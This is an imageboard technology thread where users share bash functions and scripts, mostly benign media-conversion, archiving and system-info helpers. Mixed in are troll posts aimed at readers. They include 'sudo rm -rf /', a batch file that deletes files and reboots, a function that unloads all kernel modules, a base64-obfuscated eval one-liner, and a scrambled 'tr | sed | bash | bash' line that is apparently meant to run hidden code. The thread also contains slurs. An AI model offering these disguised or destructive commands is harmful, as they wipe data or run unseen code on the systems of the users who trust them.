Shell thread

Post your shell commands or ideas for shell commands. I'm compiling a list. Here's what I got so far:

gitgud.io/chiru.no/useful-bash-stuff

gimpresize(){ input="$1"; res="$2"; output="$3"; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"\")))(drawable (car (gimp-image-get-active-layer image))))(gimp-image-scale-full image $res INTERPOLATION-LOHALO)(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}# gimpresize input.png 1920\ 1080 output.pngimagemagickresize(){ input="$1"; res="$2"; output="$3"; convert $input -colorspace RGB +sigmoidal-contrast 12.09375 -filter Lanczossharp -distort resize $res -sigmoidal-contrast 12.09375 -colorspace sRGB $output;}# imagemagickresize input.png 1920x1080 output.pngvidtogif(){ input="$1"; res="$2"; colors="$3"; output="$4"; ffmpeg -i $input -vf palettegen /tmp/palette.png && ffmpeg -i $input -i /tmp/palette.png -lavfi paletteuse $output && gifsicle -b -O3 --resize-width $res --colors $colors -i $output;}# vidtogif input.webm 640 200 output.gifvidtowebm(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -vcodec libvpx-vp9 -b:v 0 -crf $videoquality -c:a libopus -b:a $audioquality -g 500 -threads 8 $output;}# vidtowebm input.mp4 40 192K output.webmvidtomp4(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -c:v libx264 -crf $videoquality -profile high -level 5.1 -preset veryslow -pix_fmt yuv420p -c:a aac -b:a $audioquality $output;}# vidtomp4 input.mkv 20 192K output.mp47zipmax(){ archive="$1"; directory="$2"; 7z a -t7z -mx9 -m0=lzma -mfb=273 -md=1024m -ms=on -mqs=on -myx=9 -mmc=200 -mlc=8 $archive $directory;}# 7zipmax archive.7z directory/tarmax(){ archive="$1"; directory="$2"; XZ_OPT="--lzma1=preset=9e,dict=1024MB,nice=273,depth=200,lc=4" tar --lzma -cf $archive $directory;}# tarmax archive.tar.lzma directory/screenshot(){ scrot -e "meh \$f || sxiv \$f || feh \$f || nomacs \$f && read -erp Upload\? -n1 yn && [ \\\$yn == y ] && curl -F upload=@\$f chiru.no";}# screenshotwaifu2xmax(){ input="$1"; output="$2"; quality=$(identify -verbose $input | grep -oP "(?

Attached: fd42ed2ac444ec95645e3277e31f919a8d91b3c600868c829c491a0ab5e831c2.jpg (2460x1573, 1.66M)

Other urls found in this thread:

repo.or.cz/q3cpma-shell-scripts.git
8ch.net/tech/res/1004103.html#1004271
media.8ch.net/file_store/'[0-Z]\ ''[0-Z]\{3,4\}'
media.8ch.net/file_store/thumb
stackoverflow.com/questions/7131670/make-a-bash-alias-that-takes-a-parameter
8ch.net/tech/res/1003160.json
github.com/aconchillo/guile-json(use-modules
ghostbin.com/paste/bvz4y
github.com/ekisu/mpv-webm
github.com/ozmartian/vidcutter
8ch.net/tech/res/1003160.html
seashells.io
en.wikipedia.org/wiki/ANSI_escape_code
twitter.com/SFWRedditVideos

Here are my scripts. Made for POSIX sh with rare exceptions like find -print0.
repo.or.cz/q3cpma-shell-scripts.git

why'd you have them as functions instead of aliases in a .bashrc?

!#/bin/sh
javac /home/random/javafile.class
java javafile

Now that’s how you compile a Java file, mommas dearest

Try to do an alias that does
myfunc(){ echo foo "$@" bar}

Nice! Thanks :)

ok but in that example it doesn't seem any less convenient than just running the regular command anyway

#!/bin/basheval $(echo "Tk9URV9CMD0zMTsgTk9URV9DMT0zMzsgTk9URV9DUzE9MzU7IE5PVEVfRDE9Mzc7IE5PVEVfRFMxPTM5OyBOT1RFX0UxPTQxOyBOT1RFX0YxPTQ0OyBOT1RFX0ZTMT00NjsgTk9URV9HMT00OTsgTk9URV9HUzE9NTI7IE5PVEVfQTE9NTU7IE5PVEVfQVMxPTU4OyBOT1RFX0IxPTYyOyBOT1RFX0MyPTY1OyBOT1RFX0NTMj02OTsgTk9URV9EMj03MzsgTk9URV9EUzI9Nzg7IE5PVEVfRTI9ODI7IE5PVEVfRjI9ODc7IE5PVEVfRlMyPTkzOyBOT1RFX0cyPTk4Oy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gMTAgMyAzIDMgKTsKdW5kZXJ3b3JsZF9tZXNzYWdlPSggIk8iICJQICIgImlzICIgImEgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiTyIgIlAgIiAiaXMgIiAiYSAiICJmYWdnb3QiICIuXG4iICIiICIiICJBICIgImJpZyAiICJmdWNraW5nICIgImZhZ2dvdCIgIi5cbiIgIiIgIiIgIiIgIkEgIiAiYmlnICIgImZ1Y2tpbmcgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiIiAiTyIgIlAiICIgaSIgInMgIiAiYSAiICJmIiAiYSIgImciICJnIiAibyIgInQuXG4iICJPIiAiUCIgIiBpIiAicyAiICJhICIgImYiICJhIiAiZyIgImciICJvdC5cbiIgKTsKX2FsYXJtKCkgeyAgICAgeyAgICAgICAoIFxzcGVha2VyLXRlc3QgLS1mcmVxdWVuY3kgJDEgLS10ZXN0IHNpbmUgKSYgICAgICAgcGlkPSQhOyAgICAgICBzbGVlcCAwLiR7Mn1zOyAgICAgICBkaXNvd24gJHBpZDsgICAgICAga2lsbCAtOSAkcGlkOyAgICAgfSAmPiAvZGV2L251bGw7IH07IHdoaWxlIHRydWU7IGRvICAgICBmb3IoKGk9MDtpPCR7I3VuZGVyd29ybGRbQF19O2krKykpOyAgICAgZG8gICAgICAgICBpZiBbICR7dW5kZXJ3b3JsZFskaV19IC1uZSAwIF07ICAgICAgICAgdGhlbiAgICAgICAgICAgICBwcmludGYgIiViIiAiJHt1bmRlcndvcmxkX21lc3NhZ2VbJGldfSI7ICAgICAgICAgICAgIF9hbGFybSAke3VuZGVyd29ybGRbJGldfSAke3VuZGVyd29ybGRfdGVtcG9bJGldfTsgICAgICAgICBlbHNlICAgICAgICAgICAgIHNsZWVwIDAuJHt1bmRlcndvcmxkX3RlbXBvWyRpXX07ICAgICAgICAgZmk7ICAgICAgICAgIHNsZWVwIDAuMCR7dW5kZXJ3b3JsZF90ZW1wb1skaV19OyAgICAgZG9uZSBkb25lIAo=" | base64 -d)
yep that's a one liner

sudo rm -rf /

>not using echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{

why would you want to unironically triforce?

function _copy () { cat > /tmp/paste; }function _paste () { cat /tmp/paste; }function calc() { awk "BEGIN{print $@}"; }# show man page for word under/right before cursor# upon exiting man, the line is in the state you left it infunction man_on_word { TMP_LN=$READLINE_LINE TMP_POS=$READLINE_POINT # if in between words, move position to the first one while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" = " " ]; do true $((--TMP_POS)) done while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" != " " ] do true $((--TMP_POS)) done if [ 0 -ne $TMP_POS ]; then true $((++TMP_POS));fi TMP_WORD="${READLINE_LINE:$TMP_POS}" TMP_WORD="${TMP_WORD%% *}" man "$TMP_WORD"}bind -x '"\C-k":man_on_word'bind -m vi-command -x '"K":man_on_word' # for set -o vi# ~/bin/ffconv:#!/bin/bash# use like: find /foo/bar -name "*.webm" -print0 | xargs -P -0 -I{} ffconv -e mp3 -o /the/output/dir "{}" -q:a 7# the arguments after "{}" are passed directly to ffmpeg# has to be separate file, because of xargsfunction runff() { echo @@@@@@@@@@@@@@@@@@@@@@@@@@ echo -- ffmpeg "$@" echo @@@@@@@@@@@@@@@@@@@@@@@@@@ ffmpeg -hide_banner "$@"}tag=0ext=mp3dir='.'while [ $# -gt 0 ]; do case "$1" in (-e) ext="$2"; shift 2;; (-o) dir="$2"; shift 2;; (-t) tag=1; shift 1;; (*) break;;esac;doneif [ $# -lt 1 ]; then echo "usage ${0##*/} [-e ] [-o ] [-t] [ [, ..] ]" exit 1fifile=$1shiftif [ "$tag" = 1 ]; then t=$(grep -o -P '$(\d+)'

Rate my WebM script:#!/usr/bin/env shtrap finish 1 2 14 15finish (){ command rm -f -- "${PASSLOG}-0.log" unset encode error finish help \ INPUT LOSSLESS NAME OPTARG OUTPUT OVERWRITE PASSLOG QUALITY THREADS TMP0 TMP1 exit $1}help (){ command cat &2 finish 1}encode (){ printf 'Pass #%d...\n' $1 case "$1" in 1) TMP0='-y' TMP1='/dev/null' ;; 2) TMP0="$OVERWRITE" TMP1="$OUTPUT" ;; esac command ffmpeg -v error -stats $TMP0 \ -i "$INPUT" -map 0:v:0 -map_chapters -1 -map_metadata -1 \ -sws_flags lanczos+accurate_rnd+full_chroma_int+bitexact \ -c:v libvpx-vp9 -b:v 0 -auto-alt-ref 1 -lag-in-frames 25 \ -tile-columns 0 -frame-parallel 0 -aq-mode none -row-mt 1 \ -cpu-used 0 -deadline best \ -threads $THREADS -crf $QUALITY -lossless $LOSSLESS \ -pass $1 -passlogfile "$PASSLOG" -f ivf -bitexact -- "$TMP1" return $?}NAME="`basename -- "$0"`"THREADS=`grep -c ^processor /proc/cpuinfo`QUALITY=30LOSSLESS=0while getopts hfq:t: TMP0; do case "$TMP0" in h) help ;; f) OVERWRITE='-y' ;; q) case "$OPTARG" in 0) QUALITY=0 LOSSLESS=1 ;; [1-9]|[1-5][0-9]|6[0-3]) QUALITY=$OPTARG ;; *) error 'incorrect encoding quality' ;; esac ;; t) case "$OPTARG" in [1-9]|[1-9][0-9]) if [ $OPTARG -gt $THREADS ]; then error 'not enough CPU cores' else THREADS=$OPTARG fi ;; *) error 'incorrect number of threads' ;; esac ;; esacdoneshift $((OPTIND-1))unset TMP0 OPTARGif [ -z "$1" ]; then helpelse INPUT="$1"fiif [ -z "$2" ]; then OUTPUT="${INPUT%.*}.ivf"else OUTPUT="$2"fiPASSLOG="`basename -- "$OUTPUT"`"PASSLOG="${XDG_CACHE_HOME:-/tmp}/${PASSLOG%.*}"encode 1 && encode 2finish $?

@ECHO OFF
rem quick delete fetish porn folder
del c:\USERS\user\progra~1\text\library\fap
del c:\panic.bat
shutdown -r

Attached: 1531263452227-b.gif (180x132, 289.78K)

I hacked this together about a year ago, and it somehow works
#!/bin/bashmp3dir=""containsElement () { local e match="$1" shift for e; do [[ "$e" == "$match" ]] && return 0; done return 1}mydir="$(pwd)"for userdir in "$@"do echo "$userdir" musicdir="" if [[ "$userdir" = /* ]]; then musicdir="$userdir" else musicdir="${mydir}/${userdir}" fi unset songs declare -a songs if [[ -d "${musicdir}" ]]; then while read -r -d $'\0'; do songs+=("$REPLY") done <

Surprisingly benign, was expecting 'rm -rf ~ 2> /dev/null &'

I haven't posted here in awhile but here's a improved version of my external viewer script for w3m. depends on guile, mupdf, mpv, & wget. I keep meaning to write a downloader in guile as a replacement for wget but haven't gotten around to it yet. regardless it's quite robust and gets the job done.
#!/usr/local/bin/guile -s!#(use-modules (ice-9 regex)) ; for match-string and regexp-substitute(define (run-temporary url . proc) ; passes each file in a directory as a operand to a function. (define (file-do proc path) (define dir (opendir path)) (do ((entry (readdir dir) (readdir dir))) ((eof-object? entry)) (if (not (or (equal? entry ".") (equal? entry ".."))) (proc entry))) (closedir dir)) ; deletes all temporary files, the temporary directory, and then exits. (define (safe-close path) (file-do delete-file path) (rmdir path) (exit)) ; creates a temporary directory in a race condition free manner. (define (mkdtemp path) (catch 'system-error (lambda () (mkdir path)) (lambda return (let ((errno (system-error-errno return))) (if (= errno EEXIST) (mkdtemp (tmpnam)))))) path) (define path (mkdtemp (tmpnam))) ; SIGHUP, SIGINT, & SIGQUIT are not needed due to being daemonized. (sigaction SIGTERM (lambda (x) (safe-close path)) 0) (chdir path) ; ftp is NOT PORTABLE replace with module gnutls and networking stack? ; or otherwise just replace with wget. (system* "wget" url) (file-do (lambda (x) (apply system* (append proc (list x)))) path) (safe-close path))(define (daemonize) ; double fork to prevent zombies on system-v derivatives. (if (not (= (primitive-fork) 0)) (primitive-_exit 0) (setsid)) (if (not (= (primitive-fork) 0)) (primitive-_exit 0)) ; close old stdin, stdout, & stderr (close-fdes 0) (close-fdes 1) (close-fdes 2) ; redirect stdin, stdout, & stderr to /dev/null. dup->fdes isn't strictly ; necessary here because open automatically uses the lowest fde and we just ; closed the lowest three, but it makes things a bit more clear, and it's a ; good habit to have in case of threading. (dup->fdes (open "/dev/null" O_RDONLY) 0) (dup->fdes (open "/dev/null" O_WRONLY) 1) (dup->fdes (open "/dev/null" O_WRONLY) 2))(daemonize)(let ((still ".png|.jpg|.jpeg|.bmp|.pdf|.epub") (loops ".gif|.webm") (gallery "imgur.com/gallery/") (album "imgur.com/a/") (imgur "imgur") (url (cadr (command-line)))) (cond ((string-match still url) (run-temporary url "mupdf")) ((string-match loops url) (run-temporary url "mpv" "--loop=inf")) ((string-match gallery url) (run-temporary (regexp-substitute #f (string-match "gallery" url) 'pre "a" 'post "/zip") "mupdf")) ((string-match album url) (run-temporary (string-append url "/zip") "mupdf")) ((string-match imgur url) (run-temporary (string-append url ".jpg") "mupdf")) (else (system* "mpv" "--ytdl-format=webm+bestaudio/720p/720p60" "--slang=en" url))))
And here's the script I use for screenshots, depends on ffmpeg and guile. once again robust and gets the job done, bar having to change screen size for different platforms.
#!/usr/local/bin/guile -s!#(define (screen-file return) (define (screen-file-iter number) (define file-name (string-append (passwd:dir (getpwuid (getuid))) "/screen" (number->string number) ".png")) (catch 'system-error (lambda () (open file-name (logior O_CREAT O_EXCL))) (lambda response (if (= (system-error-errno response) EEXIST) (screen-file-iter (+ number 1)) (begin (display response) (exit))))) (return file-name)) (screen-file-iter 1))(system* "ffmpeg" "-loglevel" "-8" "-f" "x11grab" "-video_size" "1366x768" "-i" ":0" "-vframes" "1" "-y" (call/cc screen-file))
I'm also considering rewriting my podcatcher shell script to use guile's XML parser and adding support for youtube channel RSS feeds so I can subscribe to a couple gardening channels I watch instead of manually visiting the RSS page every few weeks. I'll post it here when it's done if there is interest.

requesting a good wget/curl script to dl files from threads

That really isn't a hard thing to do.
I think i have one somewhere but basically all you need to do is

Not exclusively for files, but I use this to archive the whole thread:wget -bEHkprl 'inf' -So 'wget.log' \ --accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${B}/(res/${T}\.html|threads\.json)|main\.js)|(${B}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \ --warc-cdx --warc-file="8ch.${B}.${T}" -nH -P "8ch.${B}.${T}" -- "8ch.net/${B}/res/${T}.html"
Where ${B} is the board directory (e.g. "tech") and ${T} is the thread number (e.g. "1003160").

And my wgetrc looks like this:check_certificate = offignore_length = oninet4_only = onrestrict_file_names = nocontrolretry_connrefused = onrobots = offtimestamping = ontries = inftrust_server_names = onuser_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36

Thanks, user.

ignore previous post, i made a bad
Anyway, the real writeup, still lazy but fuck it.

#!/bin/env bashgetthread=$(curl 8ch.net/tech/res/1004103.html#1004271 | grep -o media.8ch.net/file_store/'[0-Z]\ ''[0-Z]\{3,4\}' | sort -u)for i in $getthread; do if [ $i != media.8ch.net/file_store/thumb ] then wget $i fidone
You could remove the if statement i made with regex but this is just an example.


neat.

If you wanted a robust way to do this in the future which works across imageboards you could pretty easily use the common API used by all imageboards to get the json data then parse and download from there.

This is a script I've used for quite a while to organize the files in my download directory by their mime type.

#!/bin/bashdie () { echo -e "\033[0;31m$*\033[m" >&2 exit 1}DIR=${1:-.}if [ ! -d "$DIR" ]; then die "Not a valid dir you dumbutt!"fifor file in "$DIR"/* ; do if [ -f "$file" ]; then mime=$(file -ib "$file" | cut -f1 -d ';') if [ ! -d "$DIR/$mime" ]; then mkdir -p "$DIR/$mime" || die "Couldn't make the directory $mime. Check if it already exists!" fi mv "$file" "$DIR/$mime" || die "Moving the file $file to directory $mime failed!" elif [ -d "$file" ]; then echo "Skipping a directory $file" fidone

die () { echo -e "\033[0;31m$*\033[m" >&2 exit 1}
Don't do that, use tput(1). If you redirect stderr to a file, it'll be stupid.

if [ ! -d "$DIR" ]; then die "Not a valid dir you dumbutt!"fi
Should use
[ ! -d "$DIR" ] && die message
for short stuff like this

-mime=$(file -ib "$file" | cut -f1 -d ';')+mime=$(file -b --mime-type -- "$file")
Don't forget to use -- to avoid shit with filenames starting with a dash. At your current level, I suggest you use shellcheck.

Yeah, I do it all the time, why? not POSIX?


decodes to:
NOTE_B0=31; NOTE_C1=33; NOTE_CS1=35; NOTE_D1=37; NOTE_DS1=39; NOTE_E1=41; NOTE_F1=44; NOTE_FS1=46; NOTE_G1=49; NOTE_GS1=52; NOTE_A1=55; NOTE_AS1=58; NOTE_B1=62; NOTE_C2=65; NOTE_CS2=69; NOTE_D2=73; NOTE_DS2=78; NOTE_E2=82; NOTE_F2=87; NOTE_FS2=93; NOTE_G2=98; NOTE_GS2=104; NOTE_A2=110; NOTE_AS2=117; NOTE_B2=123; NOTE_C3=131; NOTE_CS3=139; NOTE_D3=147; NOTE_DS3=156; NOTE_E3=165; NOTE_F3=175; NOTE_FS3=185; NOTE_G3=196; NOTE_GS3=208; NOTE_A3=220; NOTE_AS3=233; NOTE_B3=247; NOTE_C4=262; NOTE_CS4=277; NOTE_D4=294; NOTE_DS4=311; NOTE_E4=330; NOTE_F4=349; NOTE_FS4=370; NOTE_G4=392; NOTE_GS4=415; NOTE_A4=440; NOTE_AS4=466; NOTE_B4=494; NOTE_C5=523; NOTE_CS5=554; NOTE_D5=587; NOTE_DS5=622; NOTE_E5=659; NOTE_F5=698; NOTE_FS5=740; NOTE_G5=784; NOTE_GS5=831; NOTE_A5=880; NOTE_AS5=932; NOTE_B5=988; NOTE_C6=1047; NOTE_CS6=1109; NOTE_D6=1175; NOTE_DS6=1245; NOTE_E6=1319; NOTE_F6=1397; NOTE_FS6=1480; NOTE_G6=1568; NOTE_GS6=1661; NOTE_A6=1760; NOTE_AS6=1865; NOTE_B6=1976; NOTE_C7=2093; NOTE_CS7=2217; NOTE_D7=2349; NOTE_DS7=2489; NOTE_E7=2637; NOTE_F7=2794; NOTE_FS7=2960; NOTE_G7=3136; NOTE_GS7=3322; NOTE_A7=3520; NOTE_AS7=3729; NOTE_B7=3951; NOTE_C8=4186; NOTE_CS8=4435; NOTE_D8=4699; NOTE_DS8=4978; underworld=( $NOTE_C4 $NOTE_C5 $NOTE_A3 $NOTE_A4 $NOTE_AS3 $NOTE_AS4 0 0 $NOTE_C4 $NOTE_C5 $NOTE_A3 $NOTE_A4 $NOTE_AS3 $NOTE_AS4 0 0 $NOTE_F3 $NOTE_F4 $NOTE_D3 $NOTE_D4 $NOTE_DS3 $NOTE_DS4 0 0 $NOTE_F3 $NOTE_F4 $NOTE_D3 $NOTE_D4 $NOTE_DS3 $NOTE_DS4 0 0 $NOTE_DS4 $NOTE_CS4 $NOTE_D4 $NOTE_CS4 $NOTE_DS4 $NOTE_DS4 $NOTE_GS3 $NOTE_G3 $NOTE_CS4 $NOTE_C4 $NOTE_FS4 $NOTE_F4 $NOTE_E3 $NOTE_AS4 $NOTE_A4 $NOTE_GS4 $NOTE_DS4 $NOTE_B3 $NOTE_AS3 $NOTE_A3 $NOTE_GS3 0 0 0 );underworld_tempo=( 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 6 18 18 18 6 6 6 6 6 6 18 18 18 18 18 18 10 10 10 10 10 10 3 3 3 );underworld_message=( "O" "P " "is " "a " "faggot" ".\n" "" "" "O" "P " "is " "a " "faggot" ".\n" "" "" "A " "big " "fucking " "faggot" ".\n" "" "" "" "A " "big " "fucking " "faggot" ".\n" "" "" "" "O" "P" " i" "s " "a " "f" "a" "g" "g" "o" "t.\n" "O" "P" " i" "s " "a " "f" "a" "g" "g" "ot.\n" );_alarm() { { ( \speaker-test --frequency $1 --test sine )& pid=$!; sleep 0.${2}s; disown $pid; kill -9 $pid; } &> /dev/null; }; while true; do for((i=0;i

Show me such an alias.

...

alias foofunc='function _foofunc(){ echo foo "$@" bar; }; _foofunc'$foofunc such an aliasfoo such an alias bar

not sure why you don't base64 the audio through aplay instead of speaker-test, or even use the -w option with speaker-test to play a wav file from stdin.

What's the point of an ALIAS in this case? You're not aliasing a name to anything, you're just recreating a function everytime for no reason. God, you're retarded.

Using that .wgetrc reports an incompatibility with the timestamping setting: "WARC output does not work with timestamping, timestamping will be disabled."

I put it verbatim (including the .wgetrc settings) into a script
#!/usr/bin/env bash#save as thread-archive and chmod u+x thread-archivewget -bEHkprl 'inf' -So 'wget.log' \ --accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${1}/(res/${2}\.html|threads\.json)|main\.js)|(${1}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \ --warc-cdx --warc-file="8ch.${1}.${2}" -nH -P "8ch.${1}.${2}" \-e 'check_certificate = off' \-e 'ignore_length = on' \-e 'inet4_only = on' \-e 'restrict_file_names = nocontrol' \-e 'retry_connrefused = on' \-e 'robots = off' \-e 'timestamping = on' \-e 'tries = inf' \-e 'trust_server_names = on' \-e 'user_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' \-- "8ch.net/${1}/res/${2}.html"
Add checks to suit. I did the above basics to test it. Works great btw. Thanks user.

OK.
You can add unset if it makes you feel better. With an alias you can only use parameters at the end of the command, not within it. So defining a function is one way of getting around this, another is it invoke a subshell.
...ah fuck it, let me search for a source to spoonfeed you since you won't believe you're retarded anyway...
That didn't take long, here you go:
stackoverflow.com/questions/7131670/make-a-bash-alias-that-takes-a-parameter

See the answer entitled "TL;DR: Do this instead"
that sounds like me, but certainly not you faggot.

There's a misunderstanding. I meant why define an alias and not just the function itself in your config file?

sure it is. lel.

we both know it doesn't need to be aliased if it is a function in a config file. If it is, it is more for a particular users convenience.

e.g. would see all such defined alias returned with
$alias
which may be preferable to confine such definitions to the alias set, rather than wading through the output of
$declare -F
for functions which often contains a much longer list.

Enlighten me. I was always looking for a better way than this messy regexp.


Ah, right, forgot about that. Thanks for reminding.

By the way, you don’t have to specify the .wgetrc options via the -e flag, unless you want to.
All of them—with the exception for the robots option—have a corresponding flag.
> “check_certificate = off” is --no-check-certificate
> “ignore_length = on” is --ignore-length
> “inte4_only = on” is -4
> “restrict_file_names = nocontrol” is --restrict-file-names=nocontrol
> “retry_connrefused = on” is --retry-connrefused
> “timestamping = on” is -N
> “tries = inf” is -t inf
> “trust_server_names = on” is --trust-server-names

Thank you user, I was doing a quick test so used the -e than looking up each option.


I think he means the json equivalent for every thread, including this one for example, change the .html to .json
8ch.net/tech/res/1003160.json
It is easier to parse. for specific content to grab.

function mkcd() { mkdir -p $* cd $*}

>8ch.net/tech/res/1003160.json
As I thought. Well, it might be easier to parse but you'll also have to turn it into something human-readable.

This is exceedingly unlikely to work on account of my compiler being broken and me using a bunch of things I haven't used before, but this is more or less what I was thinking. I'll try to fix my compiler and get gnutls working on my machine so that I can test it and fix it. Might take a second, turns out openbsd, guile, and gnutls don't play very nice together.
(use-modules (json)) ;; json-string->scm ;; github.com/aconchillo/guile-json(use-modules (web uri)) ;; uri parse functions(use-modules (web client)) ;; http-request(define-syntax download-images (syntax-rules () ((images-download scheme host path response) (map (lambda (post) (call-with-output-file (string-append (assoc-ref post "tis") "." (assoc-ref post "ext)) (lambda (file-port) (display (http-request (build-uri scheme #:host host #:path path)) file-port))) (assoc-ref response "posts")))))(let* ((uri (string->uri (cadr command-line))) (host (uri-host uri)) (path (split-and-decode-uri-path uri)) (board (car path)) (thread (string-split (car (last-pair path)) #\.)) (api-path (cons (list-head path (- (length path) 1)) (string-append thread ".json"))) (api-uri (build-uri (uri-scheme uri) #:host host #:path (encode-and-join-uri-path api-path))) (response (json-string->scm (http-request api-uri))) (mkdir thread) (chdir thread) (cond ((equal? host "www.4chan.org") (download-images (uri-scheme uri) "i.4cdn.org" (string-append "/" board "/" (assoc-ref post "tis") "." (assoc-ref post "ext")) response)) ((equal? host "www.8ch.net") (download-images (uri-scheme uri) "media.8ch.net" (string-append (assoc-ref post "tis") "." (assoc-ref post "ext")) response)) (else ;; vichan default (download-images (uri-scheme uri) host (string-append "/" board "/src/" (assoc-ref post "tis") "." (assoc-ref post "ext")) response))))

what did I miss?

I somehow read this as a scripting thread and not a shell thread, sorry for all the irrelevant posts. Anyway this is actually the third day I've been attempting to get gnutls to compile with the guile extentions to no avail, I'm considering looking into another implementation as OBSD and GNU just seem as though they weren't meant to mix to such a degree. I'll consider making another thread for scheme and post the finished thread file downloader there.

And I guess compiling the .class file again will turn it from bytecode into a real binary...

I'd just say fuck it, and alias every linux command to their windows equivalent and watch people lose their fucking minds.

freeram() { lsmod | awk "{print \$1}" | sudo xargs -I{} rmmod {} ; sudo /etc/init.d/udev restart ; sudo sysctl vm.drop_caches=3 }# freeram

ghostbin.com/paste/bvz4y
There's probably better ways to write this script (or just sort my data) but it does what I need.

i never made this line, i stole it from someone on Zig Forums

NO! HE'S LYING, DON'T LISTEN TO HIM!

i'm using this :
github.com/ekisu/mpv-webm
to slice clips to vp9 webm

There is an option to export as "Raw" but it results to big as fuck files. (1GB for a 10 second clip..) What do I need to modify to make it slice the clip without any re-encoding ?
Or do you know an alternative for fast slicing clip with mpv ?

For example this :
github.com/ozmartian/vidcutter
cut the video without any re-encoding
But it would be much better being able to do it with the previous script.

ffmpeg -i input.webm -ss 00:04:00 -t 180 -codec copy clip.webm
will copy from 4 minutes for 180 seconds, i.e. clip.webm is 3 minute long clip, which starts at 4 minutes into the original input.webm

you can use -ss before the input for an approximate fast search through longer videos (like a 2hr movie) then -ss after also so it picks up a keyframe - otherwise it will look like shit, or be out of sync.
ffmpeg -ss 01:00:00 -i input.webm -ss 00:04:00 -t 120 -codec copy clip.webm

would make a 2 minute clip starting 1 hour and 4 minutes into input.webm.

I know about that thanks but it is not practical when I want to cut 10 slices on a video. I want to do it directly via mpv with a keyboard shortcut.

wanted to post echoing that escape sequence that makes breaks your terminal to a point where it'll only displays hieroglyphs but it seems that I have to forgotten what the sequence was

=changing your terminal encoding. Sometimes it happens if you output a binary file to stdout.

UTF-8 encoding
echo -n $'\e%G'


Reset it with
reset
stty sane
You may have to use Ctrl+j sequence in place of Return key if it got remapped too.

It doesn't break babun though. Probably I have everything set to UTF-8 to begin with. I hope so at least. But yeah it was either that or some ancient sentinel character from the 70's/80's. Was reading a little more like a real word though.

*should make the terminal write backwards too

there's many escape codes the UTF-8 was but one example

wget -erobots=0 -nc -nd -nv -Rhtml,s.jpg -HErD media.8ch.net 8ch.net/tech/res/1003160.html

This line works for most imageboards and imageboard archives. You only need to adjust the content domain. For example:

Attached: 1479179457483.png (650x560, 268.71K)

echo 4oCH4payCuKWsuKAhOKWsgo=|base64 -d

brightness(){ sudo sh -c 'for f in /sys/class/backlight/*; do echo $(($(

alias head='sed 11q'

absolute autism

Make it a function at least.

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(

 ▲
▲ ▲

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(

Interesting. I've used this from an earlier thread but yours is more accurate. temp=$(cat /sys/class/thermal/thermal_zone0/temp)temp=$(echo "scale=1;(${temp}/1000)" | bc)echo "${temp}°C"

sea shells sea shells by the sea shore.

fix for amd devices

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(

seashells.io

temps(){ for tempdevice in /sys/class/hwmon/*; do [ -f $tempdevice/temp1_input ] && echo "$(

alias suicide='kill -9 $$'
function doubleclick(){ xdg-open "$@"; }

boy(){ x="${1:?}"; shift; y=("${@:?}") for i in "${y[@]}"; do man "${x}" \ | sed -n "s/.\\x08//g;/^\\s*${i}/,/^$/p" \ | fmt -w "${COLUMNS}" done}complete -c 'boy'$ boy grep -G -E -P -G, --basic-regexp Interpret PATTERN as a basic regular expression (BRE, see below). This is the default. -E, --extended-regexp Interpret PATTERN as an extended regular expression (ERE, see below). -P, --perl-regexp Interpret the pattern as a Perl-compatible regular expression (PCRE). This is experimental and grep -P may warn of unimplemented features.

Attached: 1537372072639.jpg (377x500, 110.44K)

Nifty idea, until you miss the option caveats written elsewhere in the text.
If I need a refresher on an option I take it as an opportunity to learn/find better way of doing something.
$grep --help

What's the proper procedure if my tput is BSD? Should I check for the existence of /usr/local/bin/tput and use that instead? Reason for asking is that tput on dflybsd (and probably other BSD) don't know anything about screen or tmux.
$ which tput/usr/bin/tput$ echo -n Hi; tput ch 0; tput ce; echo Hello HiHello$ alias tput=/usr/local/bin/tput$ echo -n Hi; tput ch 0; tput ce; echo Hello Hello
Also nice that ncurses' tput accepts terminfo capability names;

I don't know, just look at man 1p tput for the POSIX spec and whine to your OS maintainers if it doesn't comply.

ANSI escape codes is probably more portable and less trouble.
en.wikipedia.org/wiki/ANSI_escape_code

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash

I figured so and it's what I've been using.
I'd much rather run
printf "Hello"; sleep 1; printf "\x1b[G\x1b[K\x1b[1;34mHi\x1b[m\n"
than bringing tput into things.

Set variables for the settings:
Bold=$(tput bold) ;\Reg=$(tput sgr0) ;\echo "Regular and ${Bold}some bold${Reg} text"

Real simple function I use at work constantly:
```sgrep() {
grep -i "$1" ~/.ssh/config
}```

Never know when you'll need to send someone the connection details for a server.

Man, that's embarrassing. To make up for my shoddy markup here's a one liner I use for generating passwords for databases and shit where it doesn't matter if I can remember it or not:

```
tr -dc '[:alnum:]' < /dev/urandom | fold -w 30 | sed 1q
```

Fuck sake I really can't remember the 8ch formatting

I use this instead:#!/usr/bin/env sh[ "$1" = '-s' ] && { F='[:alnum:]'; shift 1; } || F='[:graph:]'[ "$1" -gt 0 ] 2> /dev/null && N=$1 || N=32tr -cd $F < /dev/urandom | fold -bw $N | head -1unset F Nexit

